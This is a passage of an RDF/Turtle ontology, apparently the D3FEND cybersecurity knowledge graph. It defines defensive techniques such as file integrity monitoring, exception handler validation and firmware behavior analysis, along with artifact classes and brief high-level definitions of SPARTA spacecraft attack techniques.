    rdfs:label "Digital Message" ;
    d3f:definition "A discrete unit of digital communication created by a sender for one or more intended recipients. Encoded in an application-layer format, a digital message conveys semantics such as commands, data, or status and is transported inside lower-layer containers like network frames or packets." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Message_(computing)> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:DigitalMultimedia a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Digital Multimedia" ;
    d3f:definition "Digital Multimedia refers to content that combines text, audio, images, animations, and video in a digital format for interactive applications." ;
    rdfs:isDefinedBy "https://dbpedia.org/page/Multimedia" ;
    rdfs:subClassOf d3f:DigitalMedia .

d3f:DigitalSystem a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Digital System" ;
    d3f:definition "A digital system is a group of interacting or interrelated digital artifacts that act according to a set of rules to form a unified whole. A digital system, surrounded and influenced by its environment, is described by its boundaries, structure and purpose and expressed in its functioning. Systems are the subjects of study of systems theory." ;
    rdfs:seeAlso <http://dbpedia.org/resource/System> ;
    rdfs:subClassOf d3f:DigitalInformationBearer,
        d3f:System .

d3f:DimensionReduction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Dimension Reduction" ;
    d3f:d3fend-id "D3A-DR" ;
    d3f:definition "Dimensionality reduction is a key technique within unsupervised learning. It compresses the data by finding a smaller, different set of variables that capture what matters most in the original features, while minimizing the loss of information." ;
    d3f:kb-article """## References
O'Reilly Media. (n.d.). Chapter 7. Machine Learning and Security: Protecting Systems with Data and Algorithms. [Link](https://www.oreilly.com/library/view/machine-learning-and/9781492073048/ch07.html)""" ;
    rdfs:subClassOf d3f:UnsupervisedLearning .

d3f:DirectPhysicalLinkMapping a d3f:DirectPhysicalLinkMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Direct Physical Link Mapping" ;
    d3f:d3fend-id "D3-DPLM" ;
    d3f:definition "Direct physical link mapping creates a physical link map by direct observation and recording of the physical network links." ;
    d3f:kb-article """## How it works

Direct Physical Link Mapping involves a manual process where a network engineer or administrator physically observes and documents the physical connections within the network infrastructure.

## Considerations

* Constructing and maintaining physical topologies for extensive networks can be challenging and time-consuming using manual methods. Therefore, where feasible, automated methods like active physical link mapping should be considered as a partial or complete solution for physical link mapping processes.

* In scenarios where active physical link mapping is not an option, physical inspection of networks is necessary to accomplish physical link mapping. This is due to the lack of reliable techniques to accurately map physical links solely through passive network traffic monitoring.""" ;
    d3f:kb-reference d3f:Reference-NetworkMapping ;
    d3f:synonym "Manual Physical Link Mapping" ;
    rdfs:seeAlso <https://en.wikipedia.org/wiki/Transmission_medium> ;
    rdfs:subClassOf d3f:PhysicalLinkMapping .

d3f:DisableRemoteAccess a d3f:DisableRemoteAccess,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Disable Remote Access" ;
    d3f:configures d3f:ApplicationConfiguration ;
    d3f:d3fend-id "D3-DRA" ;
    d3f:definition "Limiting access to a computing device which is not required through or from a non-organization-controlled network." ;
    d3f:kb-article """## How It Works
There are several different methods of achieving remote access restriction. This could include: time-based controls, just-in-time authorization, and deny-by-default controls.

This can be done on a Windows machine by unchecking an "allow remote assistance" or checking the "don't allow remote connections" boxes; creating firewall rules to block remote access protocols; uninstalling remote access software; disabling Wi-Fi, Ethernet, Bluetooth, or other connection methods enabling remote access.

One way to achieve remote access restrictions in OT is by programming logic in the OT Controller to give the Operator authorizing abilities which ensures local control is maintained. In this situation, a remote access modem would be powered on/off using a discrete output from an I/O module of the OT controller.
    """ ;
    rdfs:seeAlso <https://www.dragos.com/blog/industry-news/value-of-plc-key-switch-monitoring/#:~:text=Run%20mode%E2%80%94The%20controller%20is,in%20the%20Remote%20Program%20mode>,
        "M0800 Authorization Enforcement" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:configures ;
            owl:someValuesFrom d3f:ApplicationConfiguration ],
        d3f:ApplicationConfigurationHardening .

d3f:DistributionProperties a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Distribution Properties" ;
    d3f:d3fend-id "D3A-DP" ;
    d3f:definition "The properties derived from a probability distribution." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Probability distribution. [Link](https://en.wikipedia.org/wiki/Probability_distribution)""" ;
    rdfs:subClassOf d3f:DescriptiveStatistics .

d3f:DomainNameReputationAnalysis a d3f:DomainNameReputationAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Domain Name Reputation Analysis" ;
    d3f:analyzes d3f:DomainName ;
    d3f:d3fend-id "D3-DNRA" ;
    d3f:definition "Analyzing the reputation of a domain name." ;
    d3f:kb-reference d3f:Reference-Database_for_receiving_storing_and_compiling_information_about_email_messages,
        d3f:Reference-Finding_phishing_sites ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:DomainName ],
        d3f:IdentifierReputationAnalysis .

d3f:DomainRegistration a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Domain Registration" ;
    d3f:definition "A domain registration, or domain name registration data, is the relevant registration data from Internet resources such as domain names, IP addresses, and autonomous system numbers. Registration data is typically retrieved by means of either the Registration Data Access Protocol (RDAP) or its predecessor, the WHOIS protocol." ;
    d3f:may-contain d3f:DomainName ;
    rdfs:seeAlso <http://dbpedia.org/resource/Domain_registration>,
        <http://dbpedia.org/resource/WHOIS> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:DomainName ],
        d3f:DigitalInformation ;
    skos:altLabel "Domain Name Registration Data" .

d3f:EX-0009 a owl:Class ;
    rdfs:label "Exploit Code Flaws - SPARTA" ;
    d3f:attack-id "EX-0009" ;
    d3f:definition "Threats actors may identify and exploit flaws or weaknesses within the software running on-board the target spacecraft. These attacks may be extremely targeted and tailored to specific coding errors introduced as a result of poor coding practices or they may target known issues in the commercial software components." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0009/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Exploit Code Flaws" .

d3f:EX-0016 a owl:Class ;
    rdfs:label "Jamming - SPARTA" ;
    d3f:attack-id "EX-0016" ;
    d3f:definition """Jamming is an electronic attack that uses radio frequency signals to interfere with communications. A jammer must operate in the same frequency band and within the field of view of the antenna it is targeting. Unlike physical attacks, jamming is completely reversible—once the jammer is disengaged, communications can be restored. Attribution of jamming can be tough because the source can be small and highly mobile, and users operating on the wrong frequency or pointed at the wrong satellite can jam friendly communications.* Similiar to intentional jamming, accidential jamming can cause temporary signal degradation. Accidental jamming refers to unintentional interference with communication signals, and it can potentially impact spacecraft in various ways, depending on the severity, frequency, and duration of the interference.

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0016/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Jamming" .

d3f:EX-0018 a owl:Class ;
    rdfs:label "Non-Kinetic Physical Attack - SPARTA" ;
    d3f:attack-id "EX-0018" ;
    d3f:definition """A non-kinetic physical attack is when a satellite is physically damaged without any direct contact. Non-kinetic physical attacks can be characterized into a few types: electromagnetic pulses, high-powered lasers, and high-powered microwaves. These attacks have medium possible attribution levels and often provide little evidence of success to the attacker.*

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0018/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Non-Kinetic Physical Attack" .

d3f:EmailEvent a owl:Class ;
    rdfs:label "Email Event" ;
    d3f:definition "An event involving email communication, including sending, receiving, and processing emails. Email events encapsulate activities essential to the transmission and analysis of email messages in a networked environment." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/email_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:MailNetworkTraffic ],
        d3f:ApplicationLayerEvent,
        d3f:TCPEvent .

d3f:Endpoint-basedWebServerAccessMediation a d3f:Endpoint-basedWebServerAccessMediation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Endpoint-based Web Server Access Mediation" ;
    d3f:d3fend-id "D3-EBWSAM" ;
    d3f:definition "Endpoint-based web server access mediation regulates web server access directly from user endpoints by implementing mechanisms such as client-side certificates and endpoint security software to authenticate devices and ensure compliant access." ;
    d3f:kb-article """## How it works

Endpoint-based Web Server Access Mediation focuses on managing access to web servers directly from user devices. This involves implementing security measures like client certificates or endpoint security software to ensure that only authorized devices can initiate sessions with web servers. Examples include direct access to internal web applications from company laptops.
""" ;
    d3f:kb-reference d3f:Reference-NIST-Special-Publication-800-41-Revision-1 ;
    rdfs:subClassOf d3f:WebSessionAccessMediation .

d3f:ExceptionHandlerPointerValidation a d3f:ExceptionHandlerPointerValidation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exception Handler Pointer Validation" ;
    d3f:d3fend-id "D3-EHPV" ;
    d3f:definition "Validates that a referenced exception handler pointer is a valid exception handler." ;
    d3f:kb-article """## How It Works
When a process encounters an exception, it calls an exception handler to deal with the exception.  The method by which this exception handler is determined varies by the operating system.  The exception handler is called, even if it is the default exception handler to terminate the program and display a message that the program stopped working.  In the case that no valid exception handler is found, the program would fail to proceed as normal and could be programmed to terminate.

In Windows, the address of the exception registration record is stored at the very start of the the Thread Information Block; the GS register points to this structure.

The exception registration record contains two pointers: a pointer to the next exception registration record should this handler fail to handle the exception, and a pointer to the handler.

A buffer overflow can overwrite the saved return pointer with an invalid location to execute memory; this often triggers the exception handler chain, which could also be corrupted by the buffer overflow.  Although Process Exception Handler Validation does not make sure that the exception handler pointer or the code at the exception handler was unaltered, or that the exception handler code is secure, this technique does ensure that the pointer is at least an exception handler that could be called by the program.

With Process Exception Handler Validation, before the handler is called, it checks the exception handler against a source of valid exception handlers.  If the requested handler is not in this list, other techniques such as those in Process Eviction might be invoked, such as Process Termination to end the current process, or Executable Blacklisting to blacklist the potentially vulnerable or malfunctioning executable.

### Runtime valid exception handler source generation
The source of valid exception handlers could be generated at runtime, with the risk of the information that is used to determine the validity of exception handlers being compromised.

### Compile-time
The source of valid exception handlers could also be generated at compile time or as a binary patch.  Given the source code, it would be rather straightforward to find the exceptions, as they are pointed in the catch statement of a try-catch clause and the compiler must already generate the code to call exceptions from this.

## Considerations
If the program file can be altered by the attacker, then the security could be bypassed by replacing it with any desired program, without even bypassing SEH.

If the attacker was already able to overwrite the code for a valid exception handler via other functionality in the program, this defense would not prevent arbitrary code execution.
If an exception handler recognized as valid is vulnerable, it would be executed anyway.

SafeSEH might be applied only to some executable files or modules, allowing an attacker to call any piece of code as an exception handler in the unprotected modules.""" ;
    d3f:kb-reference d3f:Reference-SAFESEH_ImageHasSafeExceptionHandlers_MicrosoftDocs ;
    d3f:synonym "Exception Handler Validation" ;
    d3f:validates d3f:Pointer ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:validates ;
            owl:someValuesFrom d3f:Pointer ],
        d3f:ApplicationHardening .

d3f:ExternalControl a owl:Class ;
    rdfs:label "External Control" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:semantic-relation ;
            owl:someValuesFrom d3f:DefensiveTechnique ],
        [ a owl:Restriction ;
            owl:onProperty d3f:member-of ;
            owl:someValuesFrom d3f:ControlCatalog ],
        d3f:ExternalControlThing .

d3f:ExternalThing a owl:Class ;
    rdfs:label "External Thing" .

d3f:FTPPutEvent a owl:Class ;
    rdfs:label "FTP Put Event" ;
    d3f:definition "An event where a file is uploaded from a client to an FTP server, transferring data from the local system to the remote destination." ;
    rdfs:subClassOf d3f:FTPEvent .

d3f:FileAccessPatternAnalysis a d3f:FileAccessPatternAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Access Pattern Analysis" ;
    d3f:analyzes d3f:LocalResourceAccess ;
    d3f:d3fend-id "D3-FAPA" ;
    d3f:definition "Analyzing the files accessed by a process to identify unauthorized activity." ;
    d3f:kb-article """## How it works
File modifying malware such as wipers and ransomware are detected by identifying file access patterns that are associated with a malicious process. Examples of file access patterns include accessing a large number of files, accessing multiple file types, files being accessed located in multiple locations in a directory, and copying a file and encrypting the contents of that file into a copy.

## Considerations
Certain file access actions may not be statistically different from authorized activity.""" ;
    d3f:kb-reference d3f:Reference-File-modifyingMalwareDetection_CrowdstrikeInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:LocalResourceAccess ],
        d3f:ProcessAnalysis .

d3f:FileContentAnalysis a d3f:FileContentAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Content Analysis" ;
    d3f:d3fend-id "D3-FCOA" ;
    d3f:definition "Employing a pattern matching algorithm to statically analyze the content of files." ;
    d3f:kb-article """## How it works
Analyzing a piece of code without it being executed in a sandbox, virtual machine, or simulator. Patterns or signatures in the file can indicate whati kind of software it is, including whether it is malware.""" ;
    d3f:kb-reference d3f:Reference-CyberVaccineAndPredictiveMalwareDefensiveMethodsAndSystems ;
    rdfs:subClassOf d3f:FileAnalysis .

d3f:FileContentDecompressionChecking a d3f:FileContentDecompressionChecking,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Content Decompression Checking" ;
    d3f:analyzes d3f:FileContentBlockData ;
    d3f:d3fend-id "D3-FCDC" ;
    d3f:definition "Checking if compressed or encoded data sections can be successfully decompressed or decoded. Can follow with further analysis with semantic knowledge" ;
    d3f:kb-article """## How it works

Some file formats such as JPEGs include encoded or compressed sections. This technique verfies that those expected sections are present and can be properly decoded according to the spec.""" ;
    d3f:kb-reference d3f:Reference-CarvingContiguousandFragmentedFilesWithFastObjectValidation,
        d3f:Reference-GatheringEvidenceModel-DrivenSoftwareEngineeringinAutomatedDigitalForensics ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:FileContentBlockData ],
        d3f:FileFormatVerification .

d3f:FileHash a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Hash" ;
    d3f:definition "A File Hash is a fixed-length, unique digital fingerprint generated by applying a cryptographic hash function to the contents of a file." ;
    d3f:identifies d3f:File ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:identifies ;
            owl:someValuesFrom d3f:File ],
        d3f:DigitalFingerprint .

d3f:FileIntegrityMonitoring a d3f:FileIntegrityMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Integrity Monitoring" ;
    d3f:analyzes d3f:File ;
    d3f:d3fend-id "D3-FIM" ;
    d3f:definition "Detecting any suspicious changes to files in a computer system." ;
    d3f:kb-article """## How it Works
There are a number of tools in Windows and Unix that can monitor specific files in a system and generate alerts if any artifacts have been created, modified, or removed. They accomplish this by comparing the current artifacts to a previous snapshot.

Unix - Unix systems have a file integrity checker tool called tripwire. Tripwire first initializes a database that serves as a basis for comparison and can then scan the system to compare the state of the current file system against the initial baseline database. Additionally, users can define policies that specify potential violations.

Windows - In Microsoft Azure, file integrity monitoring can be enabled which can track file and registry key creation, removals, and modifications of specific files.

## Considerations
Files can change constantly due to the non-static nature of a computer system. File Integrity Monitoring works best when pointed at a narrow scope of critical files to limit the number of unneccessary files that may be modified over the course of normal use. The accuracy and precision of defined policies also affect the efficacy of this technique.""" ;
    d3f:kb-reference d3f:Reference-FileIntegrityMonitoringinMicrosoftDefenderforCloud-Microsoft,
        d3f:Reference-Tripwire ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:File ],
        d3f:PlatformMonitoring .

d3f:FileInternalStructureVerification a d3f:FileInternalStructureVerification,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Internal Structure Verification" ;
    d3f:analyzes d3f:FileContentBlock ;
    d3f:d3fend-id "D3-FISV" ;
    d3f:definition "The process of checking specific static values within a file, such as file signatures or magic numbers, to ensure they match the expected values defined by the file format specification." ;
    d3f:kb-article """## How it works

File format specifications often define expected values for specific fields. A common example are file signatures, or magic numbers, which are used to quickly identify files. Another example is within the Compound Document Header of Microsoft Office files, the 29th and 30th byte identifies the byte order, specifically 0xFFFE for little-endian. This technique verifies that the file's static values match the values of the declared file format's specification.""" ;
    d3f:kb-reference d3f:Reference-CarvingContiguousandFragmentedFilesWithFastObjectValidation,
        d3f:Reference-GatheringEvidenceModel-DrivenSoftwareEngineeringinAutomatedDigitalForensics ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:FileContentBlock ],
        d3f:FileFormatVerification .

d3f:FileMagicByteVerification a d3f:FileMagicByteVerification,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Magic Byte Verification" ;
    d3f:analyzes d3f:FileMagicBytes ;
    d3f:d3fend-id "D3-FMBV" ;
    d3f:definition "Utilizing the magic number to verify the file" ;
    d3f:kb-article """## How it works

Many file formats use magic numbers to identify a file format or protocol. Verifying that the magic number matches the expected value of its declared format is a simple way of verifying the file format.""" ;
    d3f:kb-reference d3f:Reference-CarvingContiguousandFragmentedFilesWithFastObjectValidation,
        d3f:Reference-GatheringEvidenceModel-DrivenSoftwareEngineeringinAutomatedDigitalForensics ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:FileMagicBytes ],
        d3f:FileMetadataValueVerification .

d3f:FirmwareBehaviorAnalysis a d3f:FirmwareBehaviorAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Firmware Behavior Analysis" ;
    d3f:analyzes d3f:Firmware ;
    d3f:d3fend-id "D3-FBA" ;
    d3f:definition "Analyzing the behavior of embedded code in firmware and looking for anomalous behavior and suspicious activity." ;
    d3f:kb-article """## How it works
Firmware behavior analysis provides protections by ensuring that installed firmware has not been tampered with or modified. Firmware analysis applies to mutable firmware and immutable read-only memory (ROMs).

Firmware in deployed network devices is typically not analyzed and monitored for vulnerabilities and thus is subject to potential attacks. This technique makes use of known and measured behavioral attributes, including timing attributes, of analyzed firmware on deployed devices.

A behavioral method that employs known timing measurements may use the timing results from a challenge and response protocol to detect the presence of malware in embedded firmware. Firmware device timing measurements are made, specific to the installed device, and are used in the verifying function.

The original firmware image is modified by injecting a monitoring software component into the embedded firmware code. The injected software components will allow for a software root of trust, the challenge and response protocol, to be implement in the firmware.

A challenge-response is issued and includes a nonce so that replays are not allowed. The firmware will calculate a checksum over all of memory, including the nonce, and return the result. The verification system will compare the computed checksum and the time it took for the computation of the checksum to determine if the firmware has been modified.

## Considerations
* The firmware code will need to be modified to include the behavioral monitoring functionality.
* This technique is sensitive to the device the embedded firmware is hosted on and it is expected that the devices and firmware will need to be profiled and analyzed to determine timing estimation.
* This technique is not expected to be one hundred percent correct as you would expect in a hardware root of trust solution and may require some tuning.""" ;
    d3f:kb-reference d3f:Reference-FirmwareBehaviorAnalysisConFirm,
        d3f:Reference-FirmwareBehaviorAnalysisVIPER ;
    d3f:synonym "Firmware Timing Analysis" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Firmware ],
        d3f:PlatformMonitoring .

d3f:FirmwareEmbeddedMonitoringCode a d3f:FirmwareEmbeddedMonitoringCode,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Firmware Embedded Monitoring Code" ;
    d3f:analyzes d3f:Firmware ;
    d3f:d3fend-id "D3-FEMC" ;
    d3f:definition "Monitoring code is injected into firmware for integrity monitoring of firmware and firmware data." ;
    d3f:kb-article """## How it works
Firmware in deployed network devices is typically not monitored for malicious changes. This technique provides a method to embed a software security component into the deployed firmware which provides a near real-time monitoring hook. The exception handling code, in the firmware, is typically used to expose any detected vulnerabilities.

The injected software components provide a feature similar to intrusion detection systems for the firmware by detecting unauthorized modifications of the embedded firmware. The integrity of static code and firmware data are monitored continuously in the hosted devices. Comparisons are made to monitored elements like firmware memory addresses and data segments. Memory pages are scanned and if a modification is detected the software component may lock the page. This will protect subsequent attempted modifications to the firmware. The software component may utilize the exception handling code and thus be able to disclose the exact address of the modified memory.

The injected software components are inserted during the firmware imaging process. The injected software is assumed to have knowledge of both the embedded code and the current execution state of the host program. The injected software will monitor and alert, in near real-time, on potential suspicious activity. The injected code is run alongside of the embedded code in the host. The injected software operates as an independent entity and is not dependent on the host software.

Finally, this technique may implement other countermeasure techniques as part of their analytical processes. These should be identified by referencing other countermeasure techniques directly as necessary.

## Considerations
* The firmware code will need to be modified and re-hosted on the device.
* Exposing monitoring hooks to the injected code may introduce additional risk.""" ;
    d3f:kb-reference d3f:Reference-FirmwareEmbeddedMonitoringCodeRedBalloon,
        d3f:Reference-FirmwareEmbeddedMonitoringCodeSymbiotes ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Firmware ],
        d3f:PlatformMonitoring .

d3f:ForwardResolutionDomainDenylisting a d3f:ForwardResolutionDomainDenylisting,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Forward Resolution Domain Denylisting" ;
    d3f:blocks d3f:OutboundInternetDNSLookupTraffic ;
    d3f:d3fend-id "D3-FRDDL" ;
    d3f:definition "Blocking a lookup based on the query's domain name value." ;
    d3f:kb-article """## How it works

Policies are created that filter DNS queries using fully qualified domain name (FQDN) of record in the query. A DNS policy can be created for blocking DNS queries from FQDNs that have been identified as unauthorized.

## Considerations

Continuous maintenance of unauthorized domain lists is needed to keep up to date as updates occur.""" ;
    d3f:kb-reference d3f:Reference-UseDNSPolicyForApplyingFiltersOnDNSQueries ;
    d3f:synonym "Forward Resolution Domain Blacklisting" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:blocks ;
            owl:someValuesFrom d3f:OutboundInternetDNSLookupTraffic ],
        d3f:DNSDenylisting .

d3f:Generation a owl:Class ;
    rdfs:label "Media Generation" ;
    rdfs:subClassOf d3f:AnalyticalPurpose .

d3f:GenerativeAdversarialNetwork a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Generative Adversarial Network" ;
    d3f:d3fend-id "D3A-GAN" ;
    d3f:definition "Generative Adversarial Networks (GAN) are an approach to generative modeling using deep learning methods, such as convolutional neural networks." ;
    d3f:kb-article """## References
Brownlee, J. (2019). What Are Generative Adversarial Networks (GANs)? Machine Learning Mastery. [Link](https://machinelearningmastery.com/what-are-generative-adversarial-networks-gans/)""" ;
    d3f:synonym "GAN" ;
    rdfs:subClassOf d3f:UnsupervisedLearning .

d3f:GetOpenWindows a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Get Open Windows" ;
    rdfs:subClassOf d3f:SystemCall .

d3f:GroupCreationEvent a owl:Class ;
    rdfs:label "Group Creation Event" ;
    d3f:definition "An event where a new group is established within the system, defining an entity to manage users and permissions collectively." ;
    rdfs:subClassOf d3f:GroupManagementEvent .

d3f:HardwareDeviceConnectionEvent a owl:Class ;
    rdfs:label "Hardware Device Connection Event" ;
    d3f:definition "An event representing the physical or logical attachment of a device to a system, enabling its operational functionality." ;
    rdfs:subClassOf d3f:HardwareDeviceStateEvent .

d3f:HostShutdown a d3f:HostShutdown,
        d3f:ProcessTermination,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Host Shutdown" ;
    d3f:d3fend-id "D3-HS" ;
    d3f:definition "Initiating a host's shutdown sequence to terminate all running processes." ;
    d3f:kb-article """## How It Works

Host shutdown can either be initiated in the physical presence of the device using the power functions or remotely using the provided user interface or an installed EDR agent (with the available function). This process may allow for the removal of specific types of malware, such as fileless malware, and can also prevent further damage, for example, if the system is part of a botnet.

## Considerations

- If the attacker has achieved persistence techniques, this technique may not be effective
- Compromised systems may not respond to remote commands to shutdown or reboot, requiring physical intervention.
- Shutting down a system will usually result in the memory losing its state which can be useful in forensic activities so this should be considered when deciding to shutdown.
- Shutting down systems may disrupt access to computer resources for legitimate users.""" ;
    d3f:kb-reference d3f:Reference-NearMemoryInMemoryDetectionofFilelessMalware ;
    d3f:terminates d3f:Process ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:terminates ;
            owl:someValuesFrom d3f:Process ],
        d3f:ProcessEviction .

d3f:IA-0001 a owl:Class ;
    rdfs:label "Compromise Supply Chain - SPARTA" ;
    d3f:attack-id "IA-0001" ;
    d3f:definition "Threat actors may manipulate or compromise products or product delivery mechanisms before the customer receives them in order to achieve data or system compromise." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0001/> ;
    rdfs:subClassOf d3f:SPARTAInitialAccessTechnique ;
    skos:prefLabel "Compromise Supply Chain" .

d3f:IA-0005 a owl:Class ;
    rdfs:label "Rendezvous & Proximity Operations - SPARTA" ;
    d3f:attack-id "IA-0005" ;
    d3f:definition "Threat actors may perform a space rendezvous which is a set of orbital maneuvers during which a spacecraft arrives at the same orbit and approach to a very close distance (e.g. within visual contact or close proximity) to a target spacecraft." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0005/> ;
    rdfs:subClassOf d3f:SPARTAInitialAccessTechnique ;
    skos:prefLabel "Rendezvous & Proximity Operations" .

d3f:IA-0008 a owl:Class ;
    rdfs:label "Rogue External Entity - SPARTA" ;
    d3f:attack-id "IA-0008" ;
    d3f:definition "Threat actors may gain access to a victim spacecraft through the use of a rogue external entity. With this technique, the threat actor does not need access to a legitimate ground station or communication site." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0008/> ;
    rdfs:subClassOf d3f:SPARTAInitialAccessTechnique ;
    skos:prefLabel "Rogue External Entity" .

d3f:IA-0009 a owl:Class ;
    rdfs:label "Trusted Relationship - SPARTA" ;
    d3f:attack-id "IA-0009" ;
    d3f:definition "Access through trusted third-party relationship exploits an existing connection that has been approved for interconnection. Leveraging third party / approved interconnections to pivot into the target systems is a common technique for threat actors as these interconnections typically lack stringent access control due to the trusted status." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0009/> ;
    rdfs:subClassOf d3f:SPARTAInitialAccessTechnique ;
    skos:prefLabel "Trusted Relationship" .

d3f:IOModule a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "I/O Module" ;
    d3f:definition "An I/O Module is a hardware device that translates signals between external sensors or actuators and control systems. It typically handles analog-to-digital (and vice versa) conversion, serving as the data interface that allows physical processes to be monitored and controlled by digital controllers." ;
    rdfs:subClassOf d3f:HardwareDevice .

d3f:IPReputationAnalysis a d3f:IPReputationAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "IP Reputation Analysis" ;
    d3f:analyzes d3f:IPAddress ;
    d3f:d3fend-id "D3-IPRA" ;
    d3f:definition "Analyzing the reputation of an IP address." ;
    d3f:kb-reference d3f:Reference-Database_for_receiving_storing_and_compiling_information_about_email_messages,
        d3f:Reference-Finding_phishing_sites ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:IPAddress ],
        d3f:IdentifierReputationAnalysis .

d3f:ImageDataSegment a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Image Data Segment" ;
    d3f:definition "An image data segment (often denoted .data) is a portion of an object file that contains initialized static variables, that is, global variables and static local variables. The size of this segment is determined by the size of the values in the program's source code, and does not change at run time. This segmenting of the memory space into discrete blocks with specific tasks carried over into the programming languages of the day and the concept is still widely in use within modern programming languages." ;
    rdfs:seeAlso d3f:ProcessDataSegment,
        <http://dbpedia.org/resource/Data_segment> ;
    rdfs:subClassOf d3f:ImageSegment .

d3f:ImageSynthesisGAN a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Image Synthesis GAN" ;
    d3f:d3fend-id "D3A-ISG" ;
    d3f:definition "Image synthesis thorugh the application of Generative Adversarial Networks." ;
    d3f:kb-article """## References

Zhang, Q., Wang, H., Lu, H., Won, D., & Yoon, S. W. (2018). Medical Image Synthesis with Generative Adversarial Networks for Tissue Recognition. 2018 IEEE International Conference on Healthcare Informatics (ICHI), 199-207. doi: 10.1109/ICHI.2018.00030. [Link](https://ieeexplore.ieee.org/document/8419363)""" ;
    rdfs:subClassOf d3f:GenerativeAdversarialNetwork .

d3f:LogicalLinkMapping a d3f:LogicalLinkMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Logical Link Mapping" ;
    d3f:d3fend-id "D3-LLM" ;
    d3f:definition "Logical link mapping creates a model of existing or previous node-to-node connections using network-layer data or metadata." ;
    d3f:kb-reference d3f:Reference-LibreNMSDocsNetworkMapExtension ;
    d3f:maps d3f:LogicalLink,
        d3f:Network,
        d3f:NetworkNode ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:Network ],
        [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:LogicalLink ],
        [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:NetworkNode ],
        d3f:NetworkMapping .

d3f:LogicalRules a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Logical Rules" ;
    d3f:d3fend-id "D3A-LR" ;
    d3f:definition "A logical rule matches event data or set of values to a conditional expression and results in the determination of a truth value, which may be used to determine the next action or step to take." ;
    d3f:kb-article """## How it works

Logic rules define a set of patterns that in some patterns must match input data. If the the conditions are met, then the rule will "fire" and some action will be taken, usually notifying a person or another system that the event being monitored needs further processing or attention.

## Key Test Considerations

